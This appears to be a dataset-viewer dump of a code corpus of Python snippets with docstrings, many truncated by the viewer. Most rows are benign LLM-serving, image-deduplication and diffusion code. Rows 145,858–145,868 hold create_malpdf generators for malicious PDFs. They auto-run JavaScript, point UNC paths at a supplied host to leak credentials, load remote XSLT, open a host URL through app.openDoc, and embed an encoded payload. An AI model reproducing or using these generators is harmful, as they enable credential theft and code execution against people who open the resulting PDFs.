id int64 0 190k | prompt stringlengths 21 13.4M | docstring stringlengths 1 12k ⌀ |
|---|---|---|
145,782 |
def get_learning_arguments_str(args):
return '_b' + str(args.batch_size) + '_' + str(args.micro_batch_size) | null |
145,783 |
def get_mixed_precision_arguments_str(args):
if args.fp16:
return '_fp16'
else:
return '' | null |
145,784 | import torch
def print_cuda_memory(args, info: str, device=None):
if args.debug_mem:
if device is None:
device = torch.device('cuda', args.cuda_id)
print("<{}>: current memory allocated: {:2.3f} MB, peak memory: {:2.3f} MB".format(
info, torch.cuda.memory_allocated(device)/1... | null |
145,785 | import torch
def print_multi_cuda_memory(args, info: str):
if args.debug_mem:
for local_gpu_rank in range(args.cuda_num):
device = torch.device('cuda', local_gpu_rank)
print("<{}>({}): current memory allocated: {:2.3f} MB, peak memory: {:2.3f} MB".format(info, local_gpu_rank,
... | null |
145,786 | import os
from transformers import AutoTokenizer, AutoModel
import faiss
import numpy as np
import pandas as pd
def mean_pooling(token_embeddings, mask):
token_embeddings = token_embeddings.masked_fill(~mask[..., None].bool(), 0.)
sentence_embeddings = token_embeddings.sum(dim=1) / mask.sum(dim=1)[..., None]
... | null |
145,787 | import os
from transformers import AutoTokenizer, AutoModel
import faiss
import numpy as np
import pandas as pd
def cos_sim_2d(x, y):
norm_x = x / np.linalg.norm(x, axis=1, keepdims=True)
norm_y = y / np.linalg.norm(y, axis=1, keepdims=True)
return np.matmul(norm_x, norm_y.T) | null |
145,788 | import torch
import torch.nn as nn
import argparse
from transformers import GPTNeoXForCausalLM
from transformers import AutoConfig, AutoTokenizer
from transformers.modeling_utils import no_init_weights
import os
def create_empty_gptneox(config):
import torch
import torch.nn as nn
_reset_parameters_linear... | null |
145,789 | import torch
import torch.nn as nn
import argparse
from transformers import GPTNeoXForCausalLM
from transformers import AutoConfig, AutoTokenizer
from transformers.modeling_utils import no_init_weights
import os
def load_decentralized_checkpoint(model, checkpoint_path, n_stages=2, n_layer_per_stage=14):
input_path... | null |
145,790 | import argparse
import json
import time
import torch
import torchvision
import os
import re
import psutil
from transformers import AutoTokenizer, AutoModelForCausalLM
def benchmark(model_dict: dict, device_name: str, repeat_infer: int):
# Initialize the benchmark results dictionary
results_dict = {}
# Ch... | null |
145,791 | import os
import argparse
import torch
import torch
import torch.nn as nn
from transformers import LlamaForCausalLM
from transformers import AutoConfig, AutoTokenizer
from transformers.modeling_utils import no_init_weights
import os
def create_emtpy_llama(config):
import torch
import torch.nn as nn
_rese... | null |
145,792 | import os
import argparse
import torch
import torch
import torch.nn as nn
from transformers import LlamaForCausalLM
from transformers import AutoConfig, AutoTokenizer
from transformers.modeling_utils import no_init_weights
import os
def load_decentralized_checkpoint(model, checkpoint_path, n_stages=2, n_layer_per_stag... | null |
145,793 | import os
import argparse
import torch
from transformers import AutoModelForCausalLM, AutoTokenizer, AutoConfig
USE_AUTH_TOKEN = False
def prepare_pretrained(save_path, model_name, offload_dir=None):
os.makedirs(save_path, exist_ok=True)
print('loading model from HF...')
config = AutoConfig.from_pretr... | null |
145,794 | from multiprocessing import cpu_count
import sys
from typing import Callable, Dict, Union, Tuple
import numpy as np
from sklearn.metrics.pairwise import cosine_similarity
from tqdm import tqdm
from imagededup.handlers.search.bktree import BKTree
from imagededup.handlers.search.brute_force import BruteForce
from imagede... | null |
145,795 | import itertools
from typing import Dict
from imagededup.handlers.metrics.classification import classification_metrics
from imagededup.handlers.metrics.information_retrieval import (
mean_metric,
get_all_metrics,
)
from imagededup.utils.logger import return_logger
def _check_map_correctness(ground_truth_map: Di... | Given a ground truth map and a duplicate map retrieved from a deduplication algorithm, get metrics to evaluate the effectiveness of the applied deduplication algorithm. Args: ground_truth_map: A dictionary representing ground truth with filenames as key and a list of duplicate filenames as value. retrieved_map: A dicti... |
145,796 | from pathlib import PurePath
from typing import List, Union, Tuple
import numpy as np
from PIL import Image
from imagededup.utils.logger import return_logger
def _check_3_dim(image_arr_shape: Tuple) -> None:
"""
Checks that image array is represented in the (x, y, 3) format.
Args:
image_arr_shape: S... | Checks the sanity of the input image numpy array for hashing functions. Args: image_arr: Image array. |
145,797 | from pathlib import PurePath
from typing import List, Union, Tuple
import numpy as np
from PIL import Image
from imagededup.utils.logger import return_logger
def _check_3_dim(image_arr_shape: Tuple) -> None:
"""
Checks that image array is represented in the (x, y, 3) format.
Args:
image_arr_shape: S... | Checks the sanity of the input image numpy array for cnn and converts the grayscale numpy array to rgb by repeating the array thrice along the 3rd dimension if a 2-dimensional image array is provided. Args: image_arr: Image array. Returns: A 3-dimensional numpy image array. |
145,798 | from pathlib import PurePath
from typing import List, Union, Tuple
import numpy as np
from PIL import Image
from imagededup.utils.logger import return_logger
IMG_FORMATS = ['JPEG', 'PNG', 'BMP', 'MPO', 'PPM', 'TIFF', 'GIF', 'WEBP']
logger = return_logger(__name__)
def preprocess_image(
image, target_size: Tuple[int... | Load an image given its path. Returns an array version of optionally resized and grayed image. Only allows images of types described by img_formats argument. Args: image_file: Path to the image file. target_size: Size to resize the input image to. grayscale: A boolean indicating whether to grayscale the image. img_form... |
145,799 | import json
from multiprocessing import Pool
from pathlib import Path, PurePath
from typing import Callable, Dict, List, Union
import tqdm
from imagededup.utils.logger import return_logger
The provided code snippet includes necessary dependencies for implementing the `get_files_to_remove` function. Write a Python func... | Get a list of files to remove. Args: duplicates: A dictionary with file name as key and a list of duplicate file names as value. Returns: A list of files that should be removed. |
145,800 | import json
from multiprocessing import Pool
from pathlib import Path, PurePath
from typing import Callable, Dict, List, Union
import tqdm
from imagededup.utils.logger import return_logger
logger = return_logger(__name__)
The provided code snippet includes necessary dependencies for implementing the `save_json` functi... | Save results with a filename. Args: results: Dictionary of results to be saved. filename: Name of the file to be saved. float_scores: boolean to indicate if scores are floats. |
145,801 | import json
from multiprocessing import Pool
from pathlib import Path, PurePath
from typing import Callable, Dict, List, Union
import tqdm
from imagededup.utils.logger import return_logger
def generate_files(image_dir: Union[PurePath, str], recursive: bool) -> List:
if recursive:
glob_pattern = '**/*'
... | null |
145,802 | import json
from multiprocessing import Pool
from pathlib import Path, PurePath
from typing import Callable, Dict, List, Union
import tqdm
from imagededup.utils.logger import return_logger
def generate_relative_names(image_dir: Union[PurePath, str], files: List) -> List:
return [str(f.relative_to(Path(image_dir).a... | null |
145,803 | from pathlib import PurePath
from typing import Dict, Callable, Optional, List, Tuple
import numpy as np
import torch
from torch.utils.data import Dataset, DataLoader
from imagededup.utils.image_utils import load_image
from imagededup.utils.general_utils import generate_files
class ImgDataset(Dataset):
def __init__... | null |
145,804 | import matplotlib.gridspec as gridspec
import matplotlib.pyplot as plt
from matplotlib import figure
from pathlib import Path, PurePath
from typing import Dict, Union, List
import numpy as np
from PIL import Image
def _plot_images(
image_dir: PurePath,
orig: str,
image_list: List,
scores: bool = False,
... | Given filename for an image, plot duplicates along with the original image using the duplicate map obtained using find_duplicates method. Args: image_dir: image directory where all files in duplicate_map are present. duplicate_map: mapping of filename to found duplicates (could be with or without scores). filename: Nam... |
145,805 | import logging
def return_logger(name: str) -> logging.Logger:
# Set log message format
logger = logging.getLogger(name)
if not len(logger.handlers):
log_formatter = logging.Formatter('%(asctime)-s: %(levelname)-s %(message)s')
# set logging level
logger.setLevel(logging.DEBUG)
... | null |
145,806 | import ast
import os
import re
def get_comments_str(file_name):
def extract_comments(directory):
import sys
print('python version:', sys.version)
for parent, dir_names, file_names in os.walk(directory):
for file_name in file_names:
if os.path.splitext(file_name)[1] == '.py' and file_nam... | null |
145,807 | import ast
import json
import requests
from typing import List, Optional
import typer
from rich import print as rp
from rich.console import Console
from rich.progress import Progress, SpinnerColumn, TextColumn
from rich.table import Table
from rayllm import sdk
from rayllm.common.evaluation import GPT
The provided cod... | Get a list of the available models |
145,808 | import ast
import json
import requests
from typing import List, Optional
import typer
from rich import print as rp
from rich.console import Console
from rich.progress import Progress, SpinnerColumn, TextColumn
from rich.table import Table
from rayllm import sdk
from rayllm.common.evaluation import GPT
model_type = type... | Get metadata for models. |
145,809 | import ast
import json
import requests
from typing import List, Optional
import typer
from rich import print as rp
from rich.console import Console
from rich.progress import Progress, SpinnerColumn, TextColumn
from rich.table import Table
from rayllm import sdk
from rayllm.common.evaluation import GPT
model_type = type... | Query one or several models with one or multiple prompts, optionally read from file, and save the results to a file. |
145,810 | import ast
import json
import requests
from typing import List, Optional
import typer
from rich import print as rp
from rich.console import Console
from rich.progress import Progress, SpinnerColumn, TextColumn
from rich.table import Table
from rayllm import sdk
from rayllm.common.evaluation import GPT
model_type = type... | Start a model in Aviary. Args: *model: Models to run. blocking: Whether to block the CLI until the application is ready. restart: Whether to restart Aviary if it is already running. |
145,811 | import ast
import json
import requests
from typing import List, Optional
import typer
from rich import print as rp
from rich.console import Console
from rich.progress import Progress, SpinnerColumn, TextColumn
from rich.table import Table
from rayllm import sdk
from rayllm.common.evaluation import GPT
results_type = ty... | Evaluate and summarize the results of a multi_query run with a strong 'evaluator' LLM like GPT-4. The results of the ranking are stored to file and displayed in a table. |
145,812 | import ast
import json
import requests
from typing import List, Optional
import typer
from rich import print as rp
from rich.console import Console
from rich.progress import Progress, SpinnerColumn, TextColumn
from rich.table import Table
from rayllm import sdk
from rayllm.common.evaluation import GPT
model_type = type... | null |
145,813 | import os
import warnings
from typing import Any, Dict, Iterator, List, Optional, Union
import openai
from rayllm.common.models import ChatCompletion, Completion, Model
from rayllm.common.utils import (
_get_langchain_model,
_is_aviary_model,
assert_has_backend,
)
def completions(
model: str,
prompt... | null |
145,814 | import os
import warnings
from typing import Any, Dict, Iterator, List, Optional, Union
import openai
from rayllm.common.models import ChatCompletion, Completion, Model
from rayllm.common.utils import (
_get_langchain_model,
_is_aviary_model,
assert_has_backend,
)
def assert_has_backend():
# TODO: avia... | Run Aviary on the local ray cluster args: *models: Models to run. blocking: Whether to block the CLI until the application is ready. NOTE: This only works if you are running this command on the Ray or Anyscale cluster directly. It does not work from a general machine which only has the url and token for a model. |
145,815 | import asyncio
import logging
import os
import random
import re
import sys
import time
import traceback
import uuid
from asyncio.queues import Queue
from typing import AsyncIterator, List, Tuple
import gradio as gr
import ray
import requests
from ray import serve
from ray.serve._private.constants import SERVE_CONTROLLE... | null |
145,816 | import asyncio
import logging
import os
import random
import re
import sys
import time
import traceback
import uuid
from asyncio.queues import Queue
from typing import AsyncIterator, List, Tuple
import gradio as gr
import ray
import requests
from ray import serve
from ray.serve._private.constants import SERVE_CONTROLLE... | null |
145,817 | import json
import logging
import os
import boto3
def get_mongo_secret_url():
mongo_url = os.getenv("MONGODB_URL")
if mongo_url:
return mongo_url
try:
secret_name = "prod/frontend/mongo_password"
region_name = "us-west-2"
# Create a Secrets Manager client
session = ... | null |
145,818 | import os
from collections import namedtuple
from typing import Any, Dict, List, Optional
import openai
from rayllm.sdk import AviaryResource
def get_openai_client() -> Optional[openai.Client]:
"""Get an OpenAI Client connected to the Endpoints backend."""
backend = get_endpoints_backend()
if not backend.ba... | List available models |
145,819 | import os
from collections import namedtuple
from typing import Any, Dict, List, Optional
import openai
from rayllm.sdk import AviaryResource
def get_openai_client() -> Optional[openai.Client]:
"""Get an OpenAI Client connected to the Endpoints backend."""
backend = get_endpoints_backend()
if not backend.ba... | Get model metadata |
145,820 | import asyncio
import os
import subprocess
import time
import traceback
from collections import defaultdict
from functools import wraps
from pathlib import Path
from typing import AsyncIterator, Callable, Dict, List, Optional, Tuple, TypeVar, Union
from unittest.mock import patch
import ray
import requests
import torch... | Decorator to time a function. |
145,821 | import asyncio
import os
import subprocess
import time
import traceback
from collections import defaultdict
from functools import wraps
from pathlib import Path
from typing import AsyncIterator, Callable, Dict, List, Optional, Tuple, TypeVar, Union
from unittest.mock import patch
import ray
import requests
import torch... | Perform initialization for a node. Currently, that means downloading the model from the S3 or GCS bucket. Returns path to downloaded model, if any. |
145,822 | import asyncio
import os
import subprocess
import time
import traceback
from collections import defaultdict
from functools import wraps
from pathlib import Path
from typing import AsyncIterator, Callable, Dict, List, Optional, Tuple, TypeVar, Union
from unittest.mock import patch
import ray
import requests
import torch... | Same as _init_torch_distributed, but only sets env vars. |
145,823 | import asyncio
import os
import subprocess
import time
import traceback
from collections import defaultdict
from functools import wraps
from pathlib import Path
from typing import AsyncIterator, Callable, Dict, List, Optional, Tuple, TypeVar, Union
from unittest.mock import patch
import ray
import requests
import torch... | Initialize a torch distributed process group asynchronously. This is identical to ``ray.air.util.torch_dist.init_torch_dist_process_group`` but uses asyncio to avoid blocking the event loop. Note: this util assumes that the order of the workers passed in are their global ranks. Args: workers: A list of TorchDistributed... |
145,824 | import asyncio
import os
import subprocess
import time
import traceback
from collections import defaultdict
from functools import wraps
from pathlib import Path
from typing import AsyncIterator, Callable, Dict, List, Optional, Tuple, TypeVar, Union
from unittest.mock import patch
import ray
import requests
import torch... | null |
145,825 | import asyncio
import os
import subprocess
import time
import traceback
from collections import defaultdict
from functools import wraps
from pathlib import Path
from typing import AsyncIterator, Callable, Dict, List, Optional, Tuple, TypeVar, Union
from unittest.mock import patch
import ray
import requests
import torch... | Truncate tokens up to the first stop_id. Args: tokens (torch.LongTensor): Tokens to truncate. stop_ids (List[Union[int, List[int]]]): Stop ids to truncate at. Can be composed of single stop ids or sequences of ids. |
145,826 | import asyncio
import os
import subprocess
import time
import traceback
from collections import defaultdict
from functools import wraps
from pathlib import Path
from typing import AsyncIterator, Callable, Dict, List, Optional, Tuple, TypeVar, Union
from unittest.mock import patch
import ray
import requests
import torch... | If any sequence is a string, tokenize it. Args: tokenizer (PreTrainedTokenizer): Tokenizer to use. stopping_sequences (List[Union[str, int, List[int]]]): Stopping sequences to tokenize. Can be ids, sequences of ids or strings. |
145,827 | import asyncio
import os
import subprocess
import time
import traceback
from collections import defaultdict
from functools import wraps
from pathlib import Path
from typing import AsyncIterator, Callable, Dict, List, Optional, Tuple, TypeVar, Union
from unittest.mock import patch
import ray
import requests
import torch... | If any sequence is a string, tokenize it. |
145,828 | import asyncio
import os
import subprocess
import time
import traceback
from collections import defaultdict
from functools import wraps
from pathlib import Path
from typing import AsyncIterator, Callable, Dict, List, Optional, Tuple, TypeVar, Union
from unittest.mock import patch
import ray
import requests
import torch... | null |
145,829 | from rayllm.backend.llm.trtllm.trtllm_models import TRTLLMGPTServeConfig
The provided code snippet includes necessary dependencies for implementing the `create_server` function. Write a Python function `def create_server(server_config: TRTLLMGPTServeConfig = None)` to solve the following problem:
Start trtllm server w... | Start trtllm server with MPI. Rank0 process will broadcast the serve config to all other ranks processes. |
145,830 | import asyncio
import logging
import time
from typing import List, Tuple
import torch
from transformers import AutoTokenizer, PreTrainedTokenizerBase
from rayllm.backend.llm.embedding.embedding_model_runner import get_model_runner
from rayllm.backend.llm.embedding.embedding_models import EmbeddingApp
from rayllm.backen... | null |
145,831 | import gc
import hashlib
import logging
from pathlib import Path
from typing import Dict
import torch
import torch.nn.functional as F
from transformers import AutoModel
from rayllm.backend.llm.embedding.embedding_models import (
EmbeddingApp,
EmbeddingOptimize,
)
class EmbeddingModelRunner:
def __init__(se... | null |
145,832 | import logging
import time
from typing import TYPE_CHECKING, Any, List, Optional, Tuple, Type, Union
import ray
from ray.util.placement_group import PlacementGroup
from transformers.dynamic_module_utils import init_hf_modules
from vllm.config import CacheConfig as VllmCacheConfig
from vllm.config import ModelConfig as ... | null |
145,833 |
The provided code snippet includes necessary dependencies for implementing the `merge_dicts` function. Write a Python function `def merge_dicts(base: dict, overwrite: dict) -> dict` to solve the following problem:
Merge overwrite into base. Modify base inplace.
Here is the function:
def merge_dicts(base: dict, over... | Merge overwrite into base. Modify base inplace. |
145,834 | import asyncio
import logging
import time
from typing import Dict
from ray.util import metrics
def _event_loop_available() -> bool:
try:
asyncio.get_running_loop()
return True
except RuntimeError:
# Likely that actor is being run outside of Ray, for example in a
# unit test.
... | null |
145,835 | import os
import secrets
import socket
from opentelemetry import (
trace,
)
from opentelemetry.instrumentation.aiohttp_client import AioHttpClientInstrumentor
from opentelemetry.instrumentation.botocore import BotocoreInstrumentor
from opentelemetry.instrumentation.httpx import HTTPXClientInstrumentor
from opentele... | null |
145,836 | import logging
import typing
from typing import Collection
import fastapi
from opentelemetry.instrumentation.asgi import OpenTelemetryMiddleware
from opentelemetry.instrumentation.fastapi.package import _instruments
from opentelemetry.instrumentation.instrumentor import BaseInstrumentor
from opentelemetry.semconv.trace... | Callback to retrieve span name and attributes from scope. Args: scope: A Starlette scope Returns: A tuple of span name and attributes |
145,837 | import logging
import os
import time
from contextlib import contextmanager
from typing import Dict, Optional
from opentelemetry import trace
from opentelemetry.util.types import AttributeValue
from rayllm.backend.observability.tracing.baggage import baggage as set_baggage
aviary_logger = logging.getLogger("aviary")
tra... | null |
145,838 | import contextvars
import weakref
from contextlib import contextmanager
from fastapi.datastructures import State
from rayllm.backend.observability.tracing import baggage
_fastapi_state_context: contextvars.ContextVar[
weakref.ReferenceType[State]
] = contextvars.ContextVar("aviary_fastapi_state")
def set(**kwargs):... | null |
145,839 | import contextvars
import weakref
from contextlib import contextmanager
from fastapi.datastructures import State
from rayllm.backend.observability.tracing import baggage
def get_fastapi_state():
ctx = _fastapi_state_context.get(None)
if ctx:
return ctx()
def maybe_get_string_field(field: str):
stat... | null |
145,840 | import logging
import os
from typing import Optional
LOG_FORMAT = (
"[%(levelname)s %(asctime)s]{rank} %(filename)s: %(lineno)d " "%(message)s"
)
def get_logger(name: str = None, rank: Optional[int] = None, **kwargs):
if rank is None:
rank = int(os.environ.get("RANK", -1))
logger = logging.getLogg... | null |
145,841 | import asyncio
import os
import traceback
from functools import partial
from typing import (
AsyncIterable,
Awaitable,
Callable,
List,
Optional,
TypeVar,
Union,
)
import aiohttp
import pydantic
from fastapi import HTTPException, Request, status
from httpx import HTTPStatusError as HTTPXHTTPS... | Replace -- with / in model name to handle slashes within the URL path segment |
145,842 | import asyncio
import os
import traceback
from functools import partial
from typing import (
AsyncIterable,
Awaitable,
Callable,
List,
Optional,
TypeVar,
Union,
)
import aiohttp
import pydantic
from fastapi import HTTPException, Request, status
from httpx import HTTPStatusError as HTTPXHTTPS... | null |
145,843 | import asyncio
import os
import traceback
from functools import partial
from typing import (
AsyncIterable,
Awaitable,
Callable,
List,
Optional,
TypeVar,
Union,
)
import aiohttp
import pydantic
from fastapi import HTTPException, Request, status
from httpx import HTTPStatusError as HTTPXHTTPS... | null |
145,844 | import asyncio
import os
import traceback
from functools import partial
from typing import (
AsyncIterable,
Awaitable,
Callable,
List,
Optional,
TypeVar,
Union,
)
import aiohttp
import pydantic
from fastapi import HTTPException, Request, status
from httpx import HTTPStatusError as HTTPXHTTPS... | Make a streaming network request, and parse the output into a stream of AviaryModelResponse Take the output stream of the request and parse it into a stream of AviaryModelResponse. Args: url (str): The url to querky json (_type_, optional): the json body timeout (_type_, optional): Defaults to AVIARY_ROUTER_HTTP_TIMEOU... |
145,845 | import asyncio
import os
import traceback
from functools import partial
from typing import (
AsyncIterable,
Awaitable,
Callable,
List,
Optional,
TypeVar,
Union,
)
import aiohttp
import pydantic
from fastapi import HTTPException, Request, status
from httpx import HTTPStatusError as HTTPXHTTPS... | Take a blocking function, and run it on in an executor thread. This function prevents the blocking function from blocking the asyncio event loop. The code in this function needs to be thread safe. |
145,846 | import collections
from typing import Any, List, Optional, Sequence
import ray._private.usage.usage_lib
from ray import serve
from rayllm.backend.llm.embedding.embedding_engine import EmbeddingEngine
from rayllm.backend.llm.embedding.embedding_models import EmbeddingApp
from rayllm.backend.llm.trtllm.trtllm_models impo... | null |
145,847 | import collections
from typing import Any, List, Optional, Sequence
import ray._private.usage.usage_lib
from ray import serve
from rayllm.backend.llm.embedding.embedding_engine import EmbeddingEngine
from rayllm.backend.llm.embedding.embedding_models import EmbeddingApp
from rayllm.backend.llm.trtllm.trtllm_models impo... | Run the LLM Server on the local Ray Cluster Args: models: The paths of the model yamls to deploy |
145,848 | import copy
import json
import logging
import os
import time
from enum import Enum, IntEnum
from typing import (
Any,
Dict,
List,
Literal,
Optional,
Protocol,
Set,
Tuple,
Type,
TypeVar,
Union,
)
import yaml
from markdown_it import MarkdownIt
from pydantic import (
BaseMod... | Extract the first paragraph from a markdown-formatted string. |
145,849 | import asyncio
import os
import time
from typing import AsyncGenerator, List, Optional, Tuple
import async_timeout
from fastapi import FastAPI, HTTPException, status
from fastapi import Response as FastAPIResponse
from fastapi.middleware.cors import CORSMiddleware
from httpx import HTTPStatusError as HTTPXHTTPStatusErr... | null |
145,850 | import asyncio
import os
import time
from typing import AsyncGenerator, List, Optional, Tuple
import async_timeout
from fastapi import FastAPI, HTTPException, status
from fastapi import Response as FastAPIResponse
from fastapi.middleware.cors import CORSMiddleware
from httpx import HTTPStatusError as HTTPXHTTPStatusErr... | Runs one iteration of the underlying generator and returns the result alongside the generator itself (with the first iteration still there). |
145,851 | import asyncio
import os
import time
from typing import AsyncGenerator, List, Optional, Tuple
import async_timeout
from fastapi import FastAPI, HTTPException, status
from fastapi import Response as FastAPIResponse
from fastapi.middleware.cors import CORSMiddleware
from httpx import HTTPStatusError as HTTPXHTTPStatusErr... | null |
145,852 | import asyncio
import os
import time
from typing import AsyncGenerator, List, Optional, Tuple
import async_timeout
from fastapi import FastAPI, HTTPException, status
from fastapi import Response as FastAPIResponse
from fastapi.middleware.cors import CORSMiddleware
from httpx import HTTPStatusError as HTTPXHTTPStatusErr... | null |
145,853 | import logging
from typing import Dict, Optional
from fastapi import HTTPException, Request, status
from ray.serve.handle import DeploymentHandle
from rayllm.backend.server.models import LLMApp, QueuePriority
from rayllm.backend.server.openai_compat.openai_exception import OpenAIHTTPException
from rayllm.backend.server... | null |
145,854 | import os
import traceback
import warnings
import boto3
def _supports_batching(model: str) -> bool:
provider, _ = model.split("://", 1)
return provider != "openai" | null |
145,855 | import os
import traceback
import warnings
import boto3
def _convert_to_aviary_format(model: str, llm_result):
generation = llm_result.generations
result_list = [{"generated_text": x.text} for x in generation[0]]
return result_list | null |
145,856 | import os
import traceback
import warnings
import boto3
def has_ray():
try:
import ray # noqa: F401
return True
except ImportError:
warnings.warn(traceback.format_exc(), stacklevel=2)
return False
def assert_has_ray():
assert has_ray(), (
"This command requires ray ... | null |
145,857 | import os
import traceback
import warnings
import boto3
The provided code snippet includes necessary dependencies for implementing the `download_files_from_s3` function. Write a Python function `def download_files_from_s3(bucket_uri: str, dest_dir: str)` to solve the following problem:
Download files from s3 to a loca... | Download files from s3 to a local directory |
145,858 | import sys
import io
import bz2
import base64
def create_malpdf11(filename):
eicar = 'QlpoOTFBWSZTWXowWPwAAXB////////////////////////////////////////9/+//4AkT029d7q5rAVvq9m3176nt9sW3La+AfIMqehMEwJk0wnlGm01PSNMmh6jBGTCepiM1HomJiDAI8SemhM0jT00m0mTQ0YBhJpoxqabSbTUPSaYmyCekPUxM00JkeoH6poxqNMmnoIREiepmpNqHpNPSYmTGieoab... | null |
145,859 | import sys
import io
import bz2
import base64
def create_malpdf10(filename):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<</Pages 1 0 R /OpenAction 2 0 R>>
2 0 obj
<</S /JavaScript /JS (
this.getURL("file:///System/Applications/Calculator.app")
)>> trailer <</Root 1 0 R>>''') | null |
145,860 | import sys
import io
import bz2
import base64
def create_malpdf9(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
/AcroForm << /Fields [<< /Type /Annot /Subtype /Widget /FT /Tx /T (a) /V (b) /Ff 0 >>] >>
>>
endobj
2 0 obj
<< ... | null |
145,861 | import sys
import io
import bz2
import base64
def create_malpdf8(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
/OpenAction 5 0 R
/AcroForm << /Fields [<< /Type /Annot /Subtype /Widget /FT /Tx /T (a) /V (b) /Ff 0 >>] >>
>... | null |
145,862 | import sys
import io
import bz2
import base64
def create_malpdf7(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
/MediaBox [0 0 595 842]
>>
endobj
3 0 obj... | null |
145,863 | import sys
import io
import bz2
import base64
def create_malpdf6(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
/MediaBox [0 0 595 842]
>>
endobj
3 0 obj... | null |
145,864 | import sys
import io
import bz2
import base64
def create_malpdf5(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<< /Type /Catalog
/Pages 2 0 R
>>
endobj
2 0 obj
<< /Type /Pages
/Kids [3 0 R]
/Count 1
/MediaBox [0 0 595 842]
>>
endobj
3 0 obj... | null |
145,865 | import sys
import io
import bz2
import base64
def create_malpdf3(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.4
1 0 obj
<<>>
%endobj
trailer
<<
/Root
<</Pages <<>>
/OpenAction
<<
/S/JavaScript
/JS(
eval(
'app.openDoc({cPath: encodeURI("''' + ... | null |
145,866 | import sys
import io
import bz2
import base64
def create_malpdf2(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1
1 0 obj <<>>
stream
<xdp:xdp xmlns:xdp="http://ns.adobe.com/xdp/">
<config><present><pdf>
<interactive>1</interactive>
</pdf></present></config>
<template>
<subfo... | null |
145,867 | import sys
import io
import bz2
import base64
def create_malpdf4(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-
1 0 obj <<>>
stream
<?xml version="1.0" ?>
<?xml-stylesheet href="\\\\''' + host + '''\whatever.xslt" type="text/xsl" ?>
endstream
endobj
trailer <<
/Root <<
... | null |
145,868 | import sys
import io
import bz2
import base64
def create_malpdf(filename, host):
with open(filename, "w") as file:
file.write('''%PDF-1.7
1 0 obj
<</Type/Catalog/Pages 2 0 R>>
endobj
2 0 obj
<</Type/Pages/Kids[3 0 R]/Count 1>>
endobj
3 0 obj
<</Type/Page/Parent 2 0 R/MediaBox[0 0 612 792]/Resources<<>>>>
... | null |
145,869 | import datetime
import json
import os
import tempfile
from os import path as osp
from types import SimpleNamespace
from typing import Any, Dict, Optional
import torch
import random
import torch.cuda.amp as amp
from einops import rearrange
import cv2
from modelscope.t2v_model import UNetSD, AutoencoderKL, GaussianDiffus... | null |
145,870 | import datetime
import json
import os
import tempfile
from os import path as osp
from types import SimpleNamespace
from typing import Any, Dict, Optional
import torch
import random
import torch.cuda.amp as amp
from einops import rearrange
import cv2
from modelscope.t2v_model import UNetSD, AutoencoderKL, GaussianDiffus... | null |
145,871 | from ldm.util import instantiate_from_config
import importlib
import math
from typing import Optional
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from einops import rearrange, repeat
from os import path as osp
from modules.shared import opts
from functools import partial
from t... | Performs garbage collection for both Python and PyTorch CUDA tensors. This function collects Python garbage and clears the PyTorch CUDA cache and IPC (Inter-Process Communication) resources. |
145,872 | from ldm.util import instantiate_from_config
import importlib
import math
from typing import Optional
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from einops import rearrange, repeat
from os import path as osp
from modules.shared import opts
from functools import partial
from t... | Dummy function when torch is not available. This function does nothing and serves as a placeholder when torch is not available, allowing the rest of the code to run without errors. |
145,873 | from ldm.util import instantiate_from_config
import importlib
import math
from typing import Optional
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from einops import rearrange, repeat
from os import path as osp
from modules.shared import opts
from functools import partial
from t... | null |
145,874 | from ldm.util import instantiate_from_config
import importlib
import math
from typing import Optional
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from einops import rearrange, repeat
from os import path as osp
from modules.shared import opts
from functools import partial
from t... | null |
145,875 | from ldm.util import instantiate_from_config
import importlib
import math
from typing import Optional
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from einops import rearrange, repeat
from os import path as osp
from modules.shared import opts
from functools import partial
from t... | Zero out the parameters of a module and return it. |
145,876 | from ldm.util import instantiate_from_config
import importlib
import math
from typing import Optional
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from einops import rearrange, repeat
from os import path as osp
from modules.shared import opts
from functools import partial
from t... | r"""Index tensor using t and format the output according to x. |
145,877 | from ldm.util import instantiate_from_config
import importlib
import math
from typing import Optional
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from einops import rearrange, repeat
from os import path as osp
from modules.shared import opts
from functools import partial
from t... | null |
145,878 | from ldm.util import instantiate_from_config
import importlib
import math
from typing import Optional
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from einops import rearrange, repeat
from os import path as osp
from modules.shared import opts
from functools import partial
from t... | null |
145,879 | from ldm.util import instantiate_from_config
import importlib
import math
from typing import Optional
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from einops import rearrange, repeat
from os import path as osp
from modules.shared import opts
from functools import partial
from t... | Create a 1D, 2D, or 3D convolution module. |
145,880 | from ldm.util import instantiate_from_config
import importlib
import math
from typing import Optional
import torch
import torch.nn as nn
import torch.nn.functional as F
import numpy as np
from einops import rearrange, repeat
from os import path as osp
from modules.shared import opts
from functools import partial
from t... | Create a 1D, 2D, or 3D average pooling module. |
145,881 | import torch
from samplers.ddim.sampler import DDIMSampler
from samplers.ddim.gaussian_sampler import GaussianDiffusion
from samplers.uni_pc.sampler import UniPCSampler
from tqdm import tqdm
from modules.shared import state
from modules.sd_samplers_common import InterruptedException
def get_height_width(h, w, divisor)... | null |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.